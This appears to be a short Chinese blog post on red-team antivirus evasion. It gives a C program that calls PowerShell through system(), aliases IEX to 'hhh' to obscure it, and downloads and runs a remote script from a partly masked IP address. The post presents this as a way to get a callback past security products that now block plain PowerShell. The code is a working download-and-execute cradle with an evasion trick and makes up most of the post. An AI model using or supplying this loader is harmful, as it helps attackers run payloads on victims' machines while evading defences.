红队免杀实操|c+powershell免杀
【摘要】 title: c+powershell免杀date: 2022-03-13 00:52:48tags: - 免杀categories: - 免杀comments: true powershell 的上线方式 现在很多都拦了 可以尝试将powershell语句 写入代码中 用可执行文件来调用powershell 执行命令#include<stdio.h>#include<stdlib.h>i...
title: c+powershell免杀
date: 2022-03-13 00:52:48
tags:
- 免杀
categories:
- 免杀
comments: true
powershell 的上线方式 现在很多都拦了 可以尝试将powershell语句 写入代码中 用可执行文件来调用powershell 执行命令
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("powershell.exe set-alias -name hhh -value IEX;hhh(New-Object Net.WebClient).DownloadString('http://1.116.xxx.xx:80/a') ");
return 0;
}然后编译
【版权声明】本文为华为云社区用户原创内容，转载时必须标注文章的来源（华为云社区）、文章链接、文章作者等基本信息， 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容，欢迎发送邮件进行举报，并提供相关证据，一经查实，本社区将立刻删除涉嫌侵权内容，举报邮箱：
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论（0）